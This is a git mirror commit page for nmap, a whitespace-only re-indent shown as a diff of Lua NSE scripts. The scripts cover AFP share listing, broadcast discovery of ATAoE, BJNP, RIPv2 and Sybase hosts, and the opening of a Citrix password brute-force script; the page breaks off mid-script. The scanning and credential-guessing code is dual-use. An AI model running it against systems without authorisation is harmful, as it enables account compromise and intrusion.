1
0
mirror of https://github.com/nmap/nmap.git synced 2025-12-08 21:51:28 +00:00

Re-indent some scripts. Whitespace-only commit

https://secwiki.org/w/Nmap/Code_Standards
This commit is contained in:
dmiller
2014-01-31 21:01:26 +00:00
parent 298be5bfaa
commit c7d4f2ec96
50 changed files with 4135 additions and 4135 deletions

View File

@@ -66,105 +66,105 @@ dependencies = {"afp-brute"}
portrule = shortport.portnumber(548, "tcp") portrule = shortport.portnumber(548, "tcp")
local function createFileTable() local function createFileTable()
local filetab = tab.new() local filetab = tab.new()
tab.add(filetab, 1, "PERMISSION") tab.add(filetab, 1, "PERMISSION")
tab.add(filetab, 2, "UID") tab.add(filetab, 2, "UID")
tab.add(filetab, 3, "GID") tab.add(filetab, 3, "GID")
tab.add(filetab, 4, "SIZE") tab.add(filetab, 4, "SIZE")
tab.add(filetab, 5, "TIME") tab.add(filetab, 5, "TIME")
tab.add(filetab, 6, "FILENAME") tab.add(filetab, 6, "FILENAME")
tab.nextrow(filetab) tab.nextrow(filetab)
return filetab return filetab
end end
action = function(host, port) action = function(host, port)
local afpHelper = afp.Helper:new() local afpHelper = afp.Helper:new()
local args = nmap.registry.args local args = nmap.registry.args
local users = nmap.registry.afp or { ['nil'] = 'nil' } local users = nmap.registry.afp or { ['nil'] = 'nil' }
local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10) local maxfiles = tonumber(stdnse.get_script_args("afp-ls.maxfiles") or 10)
local output = {} local output = {}
if ( args['afp.username'] ) then if ( args['afp.username'] ) then
users = {} users = {}
users[args['afp.username']] = args['afp.password'] users[args['afp.username']] = args['afp.password']
end end
for username, password in pairs(users) do for username, password in pairs(users) do
local status, response = afpHelper:OpenSession(host, port) local status, response = afpHelper:OpenSession(host, port)
if ( not status ) then if ( not status ) then
stdnse.print_debug(response) stdnse.print_debug(response)
return return
end end
-- if we have a username attempt to authenticate as the user -- if we have a username attempt to authenticate as the user
-- Attempt to use No User Authentication? -- Attempt to use No User Authentication?
if ( username ~= 'nil' ) then if ( username ~= 'nil' ) then
status, response = afpHelper:Login(username, password) status, response = afpHelper:Login(username, password)
else else
status, response = afpHelper:Login() status, response = afpHelper:Login()
end end
if ( not status ) then if ( not status ) then
stdnse.print_debug("afp-showmount: Login failed", response) stdnse.print_debug("afp-showmount: Login failed", response)
stdnse.print_debug(3, "afp-showmount: Login error: %s", response) stdnse.print_debug(3, "afp-showmount: Login error: %s", response)
return return
end end
local vols local vols
status, vols = afpHelper:ListShares() status, vols = afpHelper:ListShares()
if status then if status then
for _, vol in ipairs( vols ) do for _, vol in ipairs( vols ) do
local status, tbl = afpHelper:Dir( vol ) local status, tbl = afpHelper:Dir( vol )
if ( not(status) ) then if ( not(status) ) then
return ("\n\nERROR: Failed to list the contents of %s"):format(vol) return ("\n\nERROR: Failed to list the contents of %s"):format(vol)
end end
local file_tab = createFileTable() local file_tab = createFileTable()
local counter = maxfiles or 10 local counter = maxfiles or 10
for _, item in ipairs(tbl[1]) do for _, item in ipairs(tbl[1]) do
if ( item and item.name ) then if ( item and item.name ) then
local status, result = afpHelper:GetFileUnixPermissions( vol, item.name ) local status, result = afpHelper:GetFileUnixPermissions( vol, item.name )
if ( status ) then if ( status ) then
local status, fsize = afpHelper:GetFileSize( vol, item.name) local status, fsize = afpHelper:GetFileSize( vol, item.name)
if ( not(status) ) then if ( not(status) ) then
return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name) return ("\n\nERROR: Failed to retreive file size for %/%s"):format(vol, item.name)
end end
local status, date = afpHelper:GetFileDates( vol, item.name) local status, date = afpHelper:GetFileDates( vol, item.name)
if ( not(status) ) then if ( not(status) ) then
return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name) return ("\n\nERROR: Failed to retreive file dates for %/%s"):format(vol, item.name)
end end
tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name) tab.addrow(file_tab, result.privs, result.uid, result.gid, fsize, date.create, item.name)
counter = counter - 1 counter = counter - 1
end end
end end
if ( counter == 0 ) then break end if ( counter == 0 ) then break end
end end
local result_part = { name = vol } local result_part = { name = vol }
table.insert(result_part, tab.dump(file_tab)) table.insert(result_part, tab.dump(file_tab))
table.insert(output, result_part) table.insert(output, result_part)
end end
end end
status, response = afpHelper:Logout() status, response = afpHelper:Logout()
status, response = afpHelper:CloseSession() status, response = afpHelper:CloseSession()
-- stop after first succesfull attempt -- stop after first succesfull attempt
if ( output and #output > 0 ) then if ( output and #output > 0 ) then
table.insert(output, "") table.insert(output, "")
table.insert(output, ("Information retrieved as: %s"):format(username)) table.insert(output, ("Information retrieved as: %s"):format(username))
if ( maxfiles > 0 ) then if ( maxfiles > 0 ) then
table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles)) table.insert(output, ("Output restricted to %d entries per volume. (See afp-ls.maxfiles)"):format(maxfiles))
end end
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
end end
end end
return return
end end

View File

@@ -37,140 +37,140 @@ prerule = function() return true end
-- The minimalistic ATAoE interface -- The minimalistic ATAoE interface
ATAoE = { ATAoE = {
-- Supported commands -- Supported commands
Cmd = { Cmd = {
QUERY_CONFIG_INFORMATION = 1, QUERY_CONFIG_INFORMATION = 1,
}, },
Header = { Header = {
-- creates a new Header instance -- creates a new Header instance
new = function(self, cmd, tag) new = function(self, cmd, tag)
local o = { local o = {
version = 1, version = 1,
flags = 0, flags = 0,
major = 0xffff, major = 0xffff,
minor = 0xff, minor = 0xff,
error = 0, error = 0,
cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION, cmd = ATAoE.Cmd.QUERY_CONFIG_INFORMATION,
tag = tag or createRandomTag(), tag = tag or createRandomTag(),
} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- parses a raw string of data and creates a new Header instance -- parses a raw string of data and creates a new Header instance
-- @return header new instance of header -- @return header new instance of header
parse = function(data) parse = function(data)
local header = ATAoE.Header:new() local header = ATAoE.Header:new()
local pos, verflags local pos, verflags
pos, verflags, header.error, pos, verflags, header.error,
header.major, header.minor, header.major, header.minor,
header.cmd, header.tag = bin.unpack(">CCSCCI", data) header.cmd, header.tag = bin.unpack(">CCSCCI", data)
header.version = bit.rshift(verflags, 4) header.version = bit.rshift(verflags, 4)
header.flags = bit.band(verflags, 0x0F) header.flags = bit.band(verflags, 0x0F)
return header return header
end, end,
-- return configuration info request as string -- return configuration info request as string
__tostring = function(self) __tostring = function(self)
assert(self.tag, "No tag was specified in Config Info Request") assert(self.tag, "No tag was specified in Config Info Request")
local verflags = bit.lshift(self.version, 4) local verflags = bit.lshift(self.version, 4)
return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag) return bin.pack(">CCSCCI", verflags, self.error, self.major, self.minor, self.cmd, self.tag)
end, end,
}, },
-- The Configuration Info Request -- The Configuration Info Request
ConfigInfoRequest = { ConfigInfoRequest = {
new = function(self, tag) new = function(self, tag)
local o = { local o = {
header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag) header = ATAoE.Header:new(ATAoE.Cmd.QUERY_CONFIG_INFORMATION, tag)
} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
__tostring = function(self) __tostring = function(self)
return tostring(self.header) return tostring(self.header)
end, end,
} }
} }
-- Creates a random AoE header tag -- Creates a random AoE header tag
function createRandomTag() function createRandomTag()
local str = "" local str = ""
for i=1, 4 do str = str .. string.char(math.random(255)) end for i=1, 4 do str = str .. string.char(math.random(255)) end
return select(2, bin.unpack(">I", str)) return select(2, bin.unpack(">I", str))
end end
-- Send a Config Info Request to the ethernet broadcast address -- Send a Config Info Request to the ethernet broadcast address
-- @param iface table as returned by nmap.get_interface_info() -- @param iface table as returned by nmap.get_interface_info()
local function sendConfigInfoRequest(iface) local function sendConfigInfoRequest(iface)
local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2 local ETHER_BROADCAST, P_ATAOE = "ff:ff:ff:ff:ff:ff", 0x88a2
local req = ATAoE.ConfigInfoRequest:new() local req = ATAoE.ConfigInfoRequest:new()
local tag = req.tag local tag = req.tag
local p = packet.Frame:new() local p = packet.Frame:new()
p.mac_src = iface.mac p.mac_src = iface.mac
p.mac_dst = packet.mactobin(ETHER_BROADCAST) p.mac_dst = packet.mactobin(ETHER_BROADCAST)
p.ether_type = bin.pack(">S", P_ATAOE) p.ether_type = bin.pack(">S", P_ATAOE)
p.buf = tostring(req) p.buf = tostring(req)
p:build_ether_frame() p:build_ether_frame()
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
dnet:ethernet_open(iface.device) dnet:ethernet_open(iface.device)
dnet:ethernet_send(p.frame_buf) dnet:ethernet_send(p.frame_buf)
dnet:ethernet_close() dnet:ethernet_close()
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function() action = function()
local iname = nmap.get_interface() local iname = nmap.get_interface()
if ( not(iname) ) then if ( not(iname) ) then
stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME) stdnse.print_debug("%s: No interface supplied, use -e", SCRIPT_NAME)
return return
end end
if ( not(nmap.is_privileged()) ) then if ( not(nmap.is_privileged()) ) then
stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME) stdnse.print_debug("%s: not running for lack of privileges", SCRIPT_NAME)
return return
end end
local iface = nmap.get_interface_info(iname) local iface = nmap.get_interface_info(iname)
if ( not(iface) ) then if ( not(iface) ) then
return fail("Failed to retrieve interface information") return fail("Failed to retrieve interface information")
end end
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
pcap:set_timeout(5000) pcap:set_timeout(5000)
pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac)) pcap:pcap_open(iface.device, 1500, true, "ether proto 0x88a2 && !ether src " .. stdnse.format_mac(iface.mac))
sendConfigInfoRequest(iface) sendConfigInfoRequest(iface)
local result = {} local result = {}
repeat repeat
local status, len, l2_data, l3_data = pcap:pcap_receive() local status, len, l2_data, l3_data = pcap:pcap_receive()
if ( status ) then if ( status ) then
local header = ATAoE.Header.parse(l3_data) local header = ATAoE.Header.parse(l3_data)
local f = packet.Frame:new(l2_data) local f = packet.Frame:new(l2_data)
f:ether_parse() f:ether_parse()
local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format( local str = ("Server: %s; Version: %d; Major: %d; Minor: %d"):format(
stdnse.format_mac(f.mac_src), stdnse.format_mac(f.mac_src),
header.version, header.version,
header.major, header.major,
header.minor) header.minor)
table.insert(result, str) table.insert(result, str)
end end
until( not(status) ) until( not(status) )
pcap:pcap_close() pcap:pcap_close()
if ( #result > 0 ) then if ( #result > 0 ) then
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -44,131 +44,131 @@ local scanner_port = { number = 8612, protocol = "udp"}
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout")) local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME .. ".timeout"))
prerule = function() prerule = function()
if ( nmap.address_family() ~= 'inet' ) then if ( nmap.address_family() ~= 'inet' ) then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
return true return true
end end
local function identifyDevices(devices, devtype) local function identifyDevices(devices, devtype)
local result local result
local port = ( "printers" == devtype and printer_port or scanner_port ) local port = ( "printers" == devtype and printer_port or scanner_port )
for _, ip in ipairs(devices or {}) do for _, ip in ipairs(devices or {}) do
local helper = bjnp.Helper:new({ ip = ip }, port) local helper = bjnp.Helper:new({ ip = ip }, port)
if ( helper:connect() ) then if ( helper:connect() ) then
local status, attrs local status, attrs
if ( "printers" == devtype ) then if ( "printers" == devtype ) then
status, attrs = helper:getPrinterIdentity() status, attrs = helper:getPrinterIdentity()
end end
if ( "scanners" == devtype ) then if ( "scanners" == devtype ) then
status, attrs = helper:getScannerIdentity() status, attrs = helper:getScannerIdentity()
end end
if ( status ) then if ( status ) then
result = result or {} result = result or {}
result[ip] = attrs result[ip] = attrs
end end
end end
helper:close() helper:close()
end end
return result return result
end end
local function identifyScanners(scanners) local function identifyScanners(scanners)
return identifyDevices(scanners, "scanners") return identifyDevices(scanners, "scanners")
end end
local function identifyPrinters(printers) local function identifyPrinters(printers)
return identifyDevices(printers, "printers") return identifyDevices(printers, "printers")
end end
local function getKeys(devices) local function getKeys(devices)
local dupes = {} local dupes = {}
local function iter() local function iter()
for k, _ in pairs(devices) do for k, _ in pairs(devices) do
for k2, _ in pairs(devices[k]) do for k2, _ in pairs(devices[k]) do
if ( not(dupes[k2]) ) then if ( not(dupes[k2]) ) then
dupes[k2] = true dupes[k2] = true
coroutine.yield(k2) coroutine.yield(k2)
end end
end end
end end
coroutine.yield(nil) coroutine.yield(nil)
end end
return coroutine.wrap(iter) return coroutine.wrap(iter)
end end
local function getPrinters(devices) local function getPrinters(devices)
local condvar = nmap.condvar(devices) local condvar = nmap.condvar(devices)
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } ) local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, printer_port, { bcast = true, timeout = arg_timeout } )
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
condvar "signal" condvar "signal"
return return
end end
local status, printers = helper:discoverPrinter() local status, printers = helper:discoverPrinter()
helper:close() helper:close()
if ( status ) then if ( status ) then
devices["printers"] = identifyPrinters(printers) devices["printers"] = identifyPrinters(printers)
end end
condvar "signal" condvar "signal"
end end
local function getScanners(devices) local function getScanners(devices)
local condvar = nmap.condvar(devices) local condvar = nmap.condvar(devices)
local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } ) local helper = bjnp.Helper:new( { ip = "255.255.255.255" }, scanner_port, { bcast = true, timeout = arg_timeout } )
if ( not(helper:connect()) ) then if ( not(helper:connect()) ) then
condvar "signal" condvar "signal"
return return
end end
local status, scanners = helper:discoverScanner() local status, scanners = helper:discoverScanner()
helper:close() helper:close()
if ( status ) then if ( status ) then
devices["scanners"] = identifyScanners(scanners) devices["scanners"] = identifyScanners(scanners)
end end
condvar "signal" condvar "signal"
end end
action = function() action = function()
arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000) arg_timeout = ( arg_timeout and arg_timeout * 1000 or 5000)
local devices, result, threads = {}, {}, {} local devices, result, threads = {}, {}, {}
local condvar = nmap.condvar(devices) local condvar = nmap.condvar(devices)
local co = stdnse.new_thread(getPrinters, devices) local co = stdnse.new_thread(getPrinters, devices)
threads[co] = true threads[co] = true
co = stdnse.new_thread(getScanners, devices) co = stdnse.new_thread(getScanners, devices)
threads[co] = true threads[co] = true
while(next(threads)) do while(next(threads)) do
for t in pairs(threads) do for t in pairs(threads) do
threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil threads[t] = ( coroutine.status(t) ~= "dead" ) and true or nil
end end
if ( next(threads) ) then if ( next(threads) ) then
condvar "wait" condvar "wait"
end end
end end
for ip in getKeys(devices) do for ip in getKeys(devices) do
local result_part = {} local result_part = {}
local printer = ( devices["printers"] and devices["printers"][ip] ) local printer = ( devices["printers"] and devices["printers"][ip] )
local scanner = ( devices["scanners"] and devices["scanners"][ip] ) local scanner = ( devices["scanners"] and devices["scanners"][ip] )
if ( printer ) then if ( printer ) then
printer.name = "Printer" printer.name = "Printer"
table.insert(result_part, printer) table.insert(result_part, printer)
end end
if ( scanner ) then if ( scanner ) then
scanner.name = "Scanner" scanner.name = "Scanner"
table.insert(result_part, scanner) table.insert(result_part, scanner)
end end
if ( #result_part > 0 ) then if ( #result_part > 0 ) then
result_part.name = ip result_part.name = ip
table.insert(result, result_part) table.insert(result, result_part)
end end
end end
if ( result ) then if ( result ) then
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end
end end

View File

@@ -48,134 +48,134 @@ prerule = function() return not( nmap.address_family() == "inet6") end
RIPv2 = { RIPv2 = {
Command = { Command = {
Request = 1, Request = 1,
Response = 2, Response = 2,
}, },
AddressFamily = { AddressFamily = {
IP = 2, IP = 2,
}, },
-- The Request class contains functions to build a RIPv2 Request -- The Request class contains functions to build a RIPv2 Request
Request = { Request = {
-- Creates a new Request instance -- Creates a new Request instance
-- --
-- @param command number containing the RIPv2 Command to use -- @param command number containing the RIPv2 Command to use
-- @return o instance of request -- @return o instance of request
new = function(self, command) new = function(self, command)
local o = { local o = {
version = 2, version = 2,
command = command, command = command,
domain = 0, domain = 0,
family = 0, family = 0,
tag = 0, tag = 0,
address = 0, address = 0,
subnet = 0, subnet = 0,
nexthop = 0, nexthop = 0,
metric = 16 metric = 16
} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Converts the whole request to a string -- Converts the whole request to a string
__tostring = function(self) __tostring = function(self)
assert(self.command, "No command was supplied") assert(self.command, "No command was supplied")
assert(self.metric, "No metric was supplied") assert(self.metric, "No metric was supplied")
assert(self.address, "No address was supplied") assert(self.address, "No address was supplied")
local RESERVED = 0 local RESERVED = 0
-- RIPv2 stuff, should be 0 for RIPv1 -- RIPv2 stuff, should be 0 for RIPv1
local tag, subnet, nexthop = 0, 0, 0 local tag, subnet, nexthop = 0, 0, 0
local data = bin.pack(">CCSSSIIII", local data = bin.pack(">CCSSSIIII",
self.command, self.version, self.domain, self.family, self.tag, self.command, self.version, self.domain, self.family, self.tag,
self.address, self.subnet, self.nexthop, self.metric) self.address, self.subnet, self.nexthop, self.metric)
return data return data
end, end,
}, },
-- The Response class contains code needed to parse a RIPv2 response -- The Response class contains code needed to parse a RIPv2 response
Response = { Response = {
-- Creates a new Response instance based on raw socket data -- Creates a new Response instance based on raw socket data
-- --
-- @param data string containing the raw socket response -- @param data string containing the raw socket response
-- @return o Response instance -- @return o Response instance
new = function(self, data) new = function(self, data)
local o = { data = data } local o = { data = data }
if ( not(data) or #data < 3 ) then if ( not(data) or #data < 3 ) then
return return
end end
local pos local pos
pos, o.command, o.version = bin.unpack(">CCS", data) pos, o.command, o.version = bin.unpack(">CCS", data)
if ( o.command ~= RIPv2 and o.version ~= 2 ) then if ( o.command ~= RIPv2 and o.version ~= 2 ) then
return return
end end
local routes = tab.new(2) local routes = tab.new(2)
tab.addrow(routes, "ip", "netmask", "nexthop", "metric") tab.addrow(routes, "ip", "netmask", "nexthop", "metric")
while( #data - pos >= 20 ) do while( #data - pos >= 20 ) do
local family, address, metric, _, netmask, nexthop local family, address, metric, _, netmask, nexthop
pos, family, _, address, netmask, nexthop, pos, family, _, address, netmask, nexthop,
metric = bin.unpack(">SS<III>I", data, pos) metric = bin.unpack(">SS<III>I", data, pos)
if ( family == RIPv2.AddressFamily.IP ) then if ( family == RIPv2.AddressFamily.IP ) then
local ip = ipOps.fromdword(address) local ip = ipOps.fromdword(address)
netmask = ipOps.fromdword(netmask) netmask = ipOps.fromdword(netmask)
nexthop = ipOps.fromdword(nexthop) nexthop = ipOps.fromdword(nexthop)
tab.addrow(routes, ip, netmask, nexthop, metric) tab.addrow(routes, ip, netmask, nexthop, metric)
end end
end end
if ( #routes > 1 ) then o.routes = routes end if ( #routes > 1 ) then o.routes = routes end
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
} }
} }
action = function() action = function()
local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout')) local timeout = stdnse.parse_timespec(stdnse.get_script_args('broadcast-rip-discover.timeout'))
timeout = (timeout or 5) * 1000 timeout = (timeout or 5) * 1000
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
socket:set_timeout(timeout) socket:set_timeout(timeout)
local rip = RIPv2.Request:new(RIPv2.Command.Request) local rip = RIPv2.Request:new(RIPv2.Command.Request)
local status, err = socket:sendto("224.0.0.9", local status, err = socket:sendto("224.0.0.9",
{ number = 520, protocol = "udp" }, { number = 520, protocol = "udp" },
tostring(rip)) tostring(rip))
local result = {} local result = {}
repeat repeat
local data local data
status, data = socket:receive() status, data = socket:receive()
if ( status ) then if ( status ) then
local status, _, _, rhost, _ = socket:get_info() local status, _, _, rhost, _ = socket:get_info()
local response = RIPv2.Response:new(data) local response = RIPv2.Response:new(data)
table.insert(result, rhost) table.insert(result, rhost)
if ( response and response.routes and #response.routes > 0 ) then if ( response and response.routes and #response.routes > 0 ) then
--response.routes.name = "Routes" --response.routes.name = "Routes"
table.insert(result, { tab.dump(response.routes) } ) table.insert(result, { tab.dump(response.routes) } )
end end
end end
until( not(status) ) until( not(status) )
if ( #result > 0 ) then if ( #result > 0 ) then
result.name = "Discovered RIPv2 devices" result.name = "Discovered RIPv2 devices"
end end
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -32,157 +32,157 @@ prerule = function() return ( nmap.address_family() == "inet") end
-- --
Ping = { Ping = {
-- The PING request class -- The PING request class
Request = { Request = {
-- Creates a new Ping request -- Creates a new Ping request
new = function(self) new = function(self)
local o = {} local o = {}
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- returns the ping request as a string -- returns the ping request as a string
__tostring = function(self) __tostring = function(self)
return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS", return bin.pack("HAH", "1b00003d0000000012", "CONNECTIONLESS_TDS",
"000000010000040005000500000102000003010104080000000000000000070204b1") "000000010000040005000500000102000003010104080000000000000000070204b1")
end end
}, },
-- The Ping Response class -- The Ping Response class
Response = { Response = {
-- Creates a new response -- Creates a new response
-- @param data string containing the raw data as received over the socket -- @param data string containing the raw data as received over the socket
-- @return o instance of Response -- @return o instance of Response
new = function(self, data) new = function(self, data)
local o = { data = data } local o = { data = data }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
o:parse() o:parse()
if ( o.dbinstance ) then if ( o.dbinstance ) then
return o return o
end end
end, end,
-- Parses the raw response and populates the -- Parses the raw response and populates the
-- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields -- <code>dbinstance.name</code> and <code>dbinstance.port</code> fields
parse = function(self) parse = function(self)
-- do a very basic length check -- do a very basic length check
local pos, len = bin.unpack(">I", self.data) local pos, len = bin.unpack(">I", self.data)
len = bit.band(len, 0x0000FFFF) len = bit.band(len, 0x0000FFFF)
if ( len ~= #self.data ) then if ( len ~= #self.data ) then
stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data) stdnse.print_debug(2, "The packet length was reported as %d, expected %d", len, #self.data)
return return
end end
local connectionless_tds local connectionless_tds
pos, connectionless_tds = bin.unpack("p", self.data, 9) pos, connectionless_tds = bin.unpack("p", self.data, 9)
if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then if ( connectionless_tds ~= "CONNECTIONLESS_TDS" ) then
stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header") stdnse.print_debug(2, "Did not find the expected CONNECTIONLESS_TDS header")
return return
end end
self.dbinstance = {} self.dbinstance = {}
pos, self.dbinstance.name = bin.unpack("p", self.data, 40) pos, self.dbinstance.name = bin.unpack("p", self.data, 40)
pos = pos + 2 pos = pos + 2
pos, self.dbinstance.port = bin.unpack(">S", self.data, pos) pos, self.dbinstance.port = bin.unpack(">S", self.data, pos)
end, end,
} }
} }
-- Main script interface -- Main script interface
Helper = { Helper = {
-- Creates a new helper instance -- Creates a new helper instance
-- @param host table as received by the action method -- @param host table as received by the action method
-- @param port table as received by the action method -- @param port table as received by the action method
-- @param options table containing: -- @param options table containing:
-- <code>timeout</code> - the amount of time to listen for responses -- <code>timeout</code> - the amount of time to listen for responses
-- @return o instance of Helper -- @return o instance of Helper
new = function(self, host, port, options) new = function(self, host, port, options)
local o = { local o = {
host = host, host = host,
port = port, port = port,
options = options or {} options = options or {}
} }
setmetatable(o, self) setmetatable(o, self)
self.__index = self self.__index = self
return o return o
end, end,
-- Sends a ping request to the service and processes the response -- Sends a ping request to the service and processes the response
-- @return status true on success, false on failure -- @return status true on success, false on failure
-- @return instances table of instance tables containing -- @return instances table of instance tables containing
-- <code>name</code> - the instance name -- <code>name</code> - the instance name
-- <code>ip</code> - the instance ip -- <code>ip</code> - the instance ip
-- <code>port</code> - the instance port -- <code>port</code> - the instance port
-- err string containing error message on failure -- err string containing error message on failure
ping = function(self) ping = function(self)
local socket = nmap.new_socket("udp") local socket = nmap.new_socket("udp")
socket:set_timeout(1000) socket:set_timeout(1000)
-- send 2 packets just in case -- send 2 packets just in case
for i=1, 2 do for i=1, 2 do
local ping_req = Ping.Request:new() local ping_req = Ping.Request:new()
local status, err = socket:sendto(self.host, self.port, tostring(ping_req)) local status, err = socket:sendto(self.host, self.port, tostring(ping_req))
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to send broadcast packet" return false, "Failed to send broadcast packet"
end end
end end
local stime = os.time() local stime = os.time()
local instances = {} local instances = {}
local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) ) local timeout = self.options.timeout or ( 20 / ( nmap.timing_level() + 1 ) )
repeat repeat
local status, data = socket:receive() local status, data = socket:receive()
if ( status ) then if ( status ) then
local response = Ping.Response:new(data) local response = Ping.Response:new(data)
if ( response ) then if ( response ) then
local status, _, _, rhost, _ = socket:get_info() local status, _, _, rhost, _ = socket:get_info()
if ( not(status) ) then if ( not(status) ) then
socket:close() socket:close()
return false, "Failed to get socket information" return false, "Failed to get socket information"
end end
response.dbinstance.ip = rhost response.dbinstance.ip = rhost
-- avoid duplicates -- avoid duplicates
instances[response.dbinstance.name] = response.dbinstance instances[response.dbinstance.name] = response.dbinstance
end end
end end
until( os.time() - stime > timeout ) until( os.time() - stime > timeout )
socket:close() socket:close()
return true, instances return true, instances
end, end,
} }
action = function() action = function()
local timeout = ( 20 / ( nmap.timing_level() + 1 ) ) local timeout = ( 20 / ( nmap.timing_level() + 1 ) )
local host = { ip = "255.255.255.255" } local host = { ip = "255.255.255.255" }
local port = { number = 2638, protocol = "udp" } local port = { number = 2638, protocol = "udp" }
local helper = Helper:new(host, port) local helper = Helper:new(host, port)
local status, instances = helper:ping() local status, instances = helper:ping()
if ( not(status) ) then if ( not(status) ) then
return ("\n ERROR: %s"):format(instances) return ("\n ERROR: %s"):format(instances)
end end
-- if we don't have any instances, silently abort -- if we don't have any instances, silently abort
if ( next(instances) == nil ) then if ( next(instances) == nil ) then
return return
end end
local result = {} local result = {}
for _, instance in pairs(instances) do for _, instance in pairs(instances) do
table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port)) table.insert(result, ("ip=%s; name=%s; port=%d"):format(instance.ip, instance.name, instance.port))
end end
table.sort(result) table.sort(result)
return stdnse.format_output(true, result) return stdnse.format_output(true, result)
end end

View File

@@ -52,42 +52,42 @@ portrule = shortport.portnumber({8080,80,443}, "tcp")
-- --
function verify_password( host, port, username, password, domain ) function verify_password( host, port, username, password, domain )
local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}}) local response = citrixxml.request_validate_credentials(host, port, {Credentials={Domain=domain, Password=password, UserName=username}})
local cred_status = citrixxml.parse_validate_credentials_response(response) local cred_status = citrixxml.parse_validate_credentials_response(response)
local account = {} local account = {}
account.username = username account.username = username
account.password = password account.password = password
account.domain = domain account.domain = domain
if cred_status.ErrorId then if cred_status.ErrorId then
if cred_status.ErrorId == "must-change-credentials" then if cred_status.ErrorId == "must-change-credentials" then
account.valid = true account.valid = true
account.message = "Must change password at next logon" account.message = "Must change password at next logon"
elseif cred_status.ErrorId == "account-disabled" then elseif cred_status.ErrorId == "account-disabled" then
account.valid = true account.valid = true
account.message = "Account is disabled" account.message = "Account is disabled"
elseif cred_status.ErrorId == "account-locked-out" then elseif cred_status.ErrorId == "account-locked-out" then
account.valid = false account.valid = false
account.message = "Account Locked Out" account.message = "Account Locked Out"
elseif cred_status.ErrorId == "failed-credentials" then elseif cred_status.ErrorId == "failed-credentials" then
account.valid = false account.valid = false
account.message = "Incorrect Password" account.message = "Incorrect Password"
elseif cred_status.ErrorId == "unspecified" then elseif cred_status.ErrorId == "unspecified" then
account.valid = false account.valid = false
account.message = "Unspecified" account.message = "Unspecified"
else else
stdnse.print_debug("UNKNOWN response: " .. response) stdnse.print_debug("UNKNOWN response: " .. response)
account.valid = false account.valid = false
account.message = "failed" account.message = "failed"
end end
else else
account.message = "Login was successful" account.message = "Login was successful"
account.valid = true account.valid = true
end end
return account return account
end end
@@ -97,68 +97,68 @@ end
-- @return string containing the result -- @return string containing the result
function create_result_from_table(accounts) function create_result_from_table(accounts)
local result = "" local result = ""
for _, account in ipairs(accounts) do for _, account in ipairs(accounts) do
result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n" result = result .. " " .. account.username .. ":" .. account.password .. " => " .. account.message .. "\n"
end end
return "\n" .. result return "\n" .. result
end end
action = function(host, port) action = function(host, port)
local status, nextUser, nextPass local status, nextUser, nextPass
local username, password local username, password
local args = nmap.registry.args local args = nmap.registry.args
local ntdomain = args.ntdomain local ntdomain = args.ntdomain
local valid_accounts = {} local valid_accounts = {}
if not ntdomain then if not ntdomain then
return "FAILED: No domain specified (use ntdomain argument)" return "FAILED: No domain specified (use ntdomain argument)"
end end
status, nextUser = unpwdb.usernames() status, nextUser = unpwdb.usernames()
if not status then if not status then
return return
end end
status, nextPass = unpwdb.passwords() status, nextPass = unpwdb.passwords()
if not status then if not status then
return return
end end
username = nextUser() username = nextUser()
